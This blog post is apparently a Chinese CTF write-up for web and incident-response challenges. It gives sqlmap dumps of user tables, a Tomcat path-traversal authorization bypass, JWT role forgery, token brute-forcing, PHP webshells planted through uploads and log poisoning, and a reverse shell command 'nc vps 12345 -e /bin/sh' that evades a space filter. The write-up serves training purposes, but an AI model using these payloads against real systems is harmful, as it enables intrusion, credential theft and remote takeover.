破阵阁CTF

破阵阁::CTF

最简单签到

公司开发了一套"安全用户信息查询系统",声称符合最高隐私保护标准,要不看看?

fig:

一开始以为是SQL注入,,,其实跟本没有,提示说1-50个员工,直接跑ID1-50

GET /user.php?id=47

47位长度不同,明显藏着flag:

fig:

最简单的Web安全入门

这会真是SQL注入了(最简单那种)

fig:

数字型的

fig:

直接上SQLmap,没有防护啥的

fig:

python sqlmap.py -u http://175.27.169.122:39072/cat.php?id=1 --current-db

python sqlmap.py -u http://175.27.169.122:39072/cat.php?id=1 -D photoblog --tables

python sqlmap.py -u http://175.27.169.122:39072/cat.php?id=1 -D photoblog -T users --columns

python sqlmap.py -u http://175.27.169.122:39072/cat.php?id=1 -D photoblog -T users -C password --dump

使用SQL命令,可以直接跑出来flag

fig:

游戏营销

安全牛母公司GOOANN准备对外发布游戏来引流。目前测试都通过。现在需要你来验证下。设计可靠吗?

抓包修改响应包,修改app_v2.js即可:
fig:

function gameover() {
if (gameScore > 100000) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "api.php", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
alert(response.message);
}
};
var data = {
score: gameScore,
};
xhr.send(JSON.stringify(data));
}

修改游戏逻辑,那么就可以很容易通关获得flag

也可以使用控制台,按F12打开开发者模式

输入以下代码并回车
gameScore = 999999;
gameover();

也会弹出flag

再或者,伪造POST请求,发送数据包,将成绩数据设置为>100000 也可以得到flag

fig:

fig:

安全牛的ERP

安全牛的ERP系统,但似乎隐藏着一些秘密。管理员声称系统绝对安全,你知道 flag 就藏在 flag.html 中。不过,直接访问它会被拒绝。你能找到绕过限制的路径吗?

提示很明显,绕过鉴权即可得到flag

不同的中间件对同一段 URL 路径的“归一化(Normalization)”处理逻辑不一致。

第一阶段:权限校验(WAF 或 Spring Security / Interceptor)
逻辑: 鉴权系统(比如 Nginx 或 Java 拦截器)会扫描 URL,试图匹配哪些路径需要登录。

误判: 鉴权规则可能设定为:“如果访问的是 .js, .css, .jpg 等静态资源,则直接放行(白名单)”。

结果: 鉴权系统看到路径以 /js 开头,或者认为这只是一个静态文件的请求,觉得“这很安全”,于是放行。

第二阶段:后端服务器解析(Tomcat/Spring)
逻辑: 当请求到达真正的 Servlet 处理引擎(如 Tomcat)时,它会进行路径解析。

关键符号:

..:表示返回上一级目录。

;:这是 Java 特有的解析特性(矩阵参数/路径参数)。Tomcat 在遇到分号时,会认为分号后面的内容是参数而非路径的一部分。

转换过程:

接收:/js/..;/flag.html

识别 ..:跳出 /js/ 目录。

识别 ;:忽略 ; 到 / 之间的内容(即忽略空字符串)。

最终指向: /flag.html。

fig:

贼牛掰的身份鉴权,还怕在失陷?

前面失陷太多了,这回管理员做了一个贼牛掰的身份鉴权方式,咱们瞅一眼?

尝试登录,会给一个账号密码

登录之后会有一个token:

Cookie: JSESSIONID=60BEC967DF36F05121161DEC8212635D; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzY5ODY1NzcxMTI5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xNDQuMC4wLjAgU2FmYXJpLzUzNy4zNiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzY5ODY1NzcxfQ.LFn6deg8jpcW_yWL1Of1iVgptnjMeEKAdjTpj-oPM3M

那么直接丢到Tscan破解,然后将role修改成admin,改cookie发包即可得到flag

fig:

fig:

小小的挑战

本轮挑战仅有一个入口点、一个flag,且没有任何提示。 要获得flag,你显然需要获取t权限。 如何成为getshell完全取决于你的技术 —— 以及系统的配置。 祝你好运 —— 希望你会喜欢这个小小的挑战 :-)

fig:

使用Tscan的POC进行检测,发现存在SQL注入漏洞

fig:

依旧直接上SQLmap:

python sqlmap.py -u "http://175.27.169.122:41045/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" --level=2 --risk=3 --random-agent --technique=BEUT --threads=3 --current-db

python sqlmap.py -u "http://175.27.169.122:41045/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" --level=2 --risk=3 --random-agent --technique=BEUT --threads=3 -D joomladb --tables

python sqlmap.py -u "http://175.27.169.122:41045/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" --level=2 --risk=3 --random-agent --technique=BEUT --threads=3 -D joomladb -T #__users --columns
拿列名的时候需要爆破,不过字典的够用了

python sqlmap.py -u "http://175.27.169.122:41045/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" --level=2 --risk=3 --random-agent --technique=BEUT --threads=3 -D joomladb -T #__users -C "password,username" --dump

| password | username |
+--------------------------------------------------------------+----------+
| $2y$10$HzPTX6G2YtkYW/JhDPMMiuJqm1x3tvKhSAjt3XbzxpRbG4FZl8CN6 | ducktail

fig:

登录后台:

fig:

选择:Protostar Details and Files

fig:

New一个新文件即可,然后写入一句话木马

http://175.27.169.122:41045/templates/protostar/1.php 这是默认地址:::

使用Webshell管理工具连接即可

fig:

 

有点限制,但是不多

管理员听说了之前的入侵事件,匆忙增加了一些防护措施。 但正如他们所说—— "有点限制,但是不多" 。 这些限制足以阻挡脚本小子,但对你来说,或许只是多一步思考的事情。

 

目录扫描:存在registration.php 注册页面

activate.php 激活账号页面

我们先注册,然后提示需要激活,发现账号ID是?u=14

 

image-20260201120742512

 

 

image-20260201113922949

 

 

 

这里应该是爆破6位的激活码了,然后发现每次发送会有token

image-20260201120920824

 

 

使用Burp或者Yakit提取token爆破:

image-20260201121442471

 

 

image-20260201121421626

 

 

 

 

 

image-20260201121610985

 

 

image-20260201121830712

 

 

激活后就可以正常使用,发现一个账号比较独特,是管理员,而且密码在源代码中

 

image-20260201122335420

 

 

image-20260201122950030

 

 

使用Hashcat破解

.\hashcat.exe -m 100 -a 3 62054333fd85be1e8ccba447304a45ebf4123808 ?a?a?a?a?a?a?a?a?a?a -i

62054333fd85be1e8ccba447304a45ebf4123808

 

image-20260201123740061

 

 

登录管理员后台,有一个命令执行的地方

尝试反弹shell,发现过滤空格,使用Tab键替代,nc vps 12345 -e /bin/sh

查看flag

image-20260201124933541

 

 

image-20260201124409245

 

 

 

激进的开发者

管理员的开发者是个激进的人——他喜欢尝试最新功能、最短代码、最直接的实现方式。 这种性格在代码里留下了痕迹:一个"极简"的API、几行"高效"的脚本、还有一个"为了方便"留下的后门。 这次不需要绕弯子,用你最直接的方式拿到flag。

 

image-20260201155859974

 

 

 

 

 注册一个账号,然后登录,有一个search的功能,这里存在SQL注入

 

image-20260201160031007

 

使用SQLmap直接梭哈:

python sqlmap.py -r 123.txt --current-db

python sqlmap.py -r 123.txt -D webapphacking --tables

python sqlmap.py -r 123.txt -D webapphacking -T users --columns

python sqlmap.py -r 123.txt -D webapphacking -T users -C "pasword,user,name" --dump

 

登录管理员账号密码后,有文件上传点,上传一句话木马就可以连接查看flag了

 

image-20260201162519857

 

image-20260201162352100

 

或者使用SQL的文件读取函数,不过需要知道flag的文件位置

 

image-20260201155820754

 

遗忘的调试信息

情报显示,某敌对势力的Web系统正在开发中。我们的特工在夜间潜入机房,发现系统首页还是默认状态,但开发者似乎留下了调试入口。 你的任务是找到并利用这些疏忽,渗透进系统获取最高权限,窃取其核心机密(flag)。

 

image-20260201165652545

 目录扫描,发现 http://175.27.169.122:39514/antibot_image 

通过/antibot_image/这个界面的访问记录到了 2026-02-01-access.log

然后,info.php可以接收image文件进行文件包含


那么

GET /antibot_image/ HTTP/1.1
Host: 175.27.169.122:39514
Upgrade-Insecure-Requests: 1
User-Agent: <?php @system($_POST['cmd']); ?>

然后POST /antibot_image/antibots/info.php?image=/var/www/html/antibot_image/log/2026-02-01-access.log
进行WebShell
使用哥斯拉进行连接

 

image-20260201165826461

 

image-20260201164148434

 

/home/www-data/flag

image-20260201172135915

 

image-20260201172145161

 

webshell被删除了

小明的系统里有一个tomcat,突然有一天他收到通知说他的系统被攻击了,你能帮他找到攻击者残留的痕迹吗?

账号 root 密码 idgfxuxvr2tqekhz

 

在Tomcat的work/Catalina/localhost/a 下保留着编译后的JSP

存在 webshell 访问过的缓存文件,查看 login_jsp.java 获得 flag

 

 

暗影迷踪

安全团队发现一台运行Tomcat服务的服务器遭到了入侵。攻击者在系统中植入了后门,你的任务是彻底清除所有后门痕迹,获取最终的flag!

 

应急响应,账号 root 密码 idgfxuxvr2tqekhz

 

已经说了运行Tomcat,确认 Tomcat 状态 & 路径

ps aux | grep tomcat

查 JSP 文件

find / -name "*.jsp" 2>/dev/null

查定时任务:
crontab -l
ls /etc/cron.*

cat /root/.ssh/authorized_keys

cat /etc/passwd

find / -iname "*flag*" 2>/dev/null
find / -iname "*note*" 2>/dev/null

Tomcat:
ls webapps/
find webapps -name "*.jsp"
grep -R "Runtime.getRuntime" webapps/


然后杀进程,删除后门,清除Webshell

 

这题:

删除定时任务
crontab -e

删除Webshell和后门文件
rm -rf /opt/apache-tomcat-8.5.100/webapps/a
rm -rf /opt/apache-tomcat-8.5.100/webapps/examples

rm -rf /var/crash/*

运行flagcheck

 

诡异的命令执行

某个粗心的网站管理员忘记打补丁,结果攻击者利用 CVE 漏洞成功渗透了服务器。他们像幽灵一样在系统中穿梭,最终执行了系统命令,偷走了珍贵的 FLAG。

 

 

WireShark打开后搜索字符串:flag{ 直接锁定了flag

image-20260201173853319

 

 

posted @ 2026-02-01 18:36  絮行-l  阅读(4)  评论(0)    收藏  举报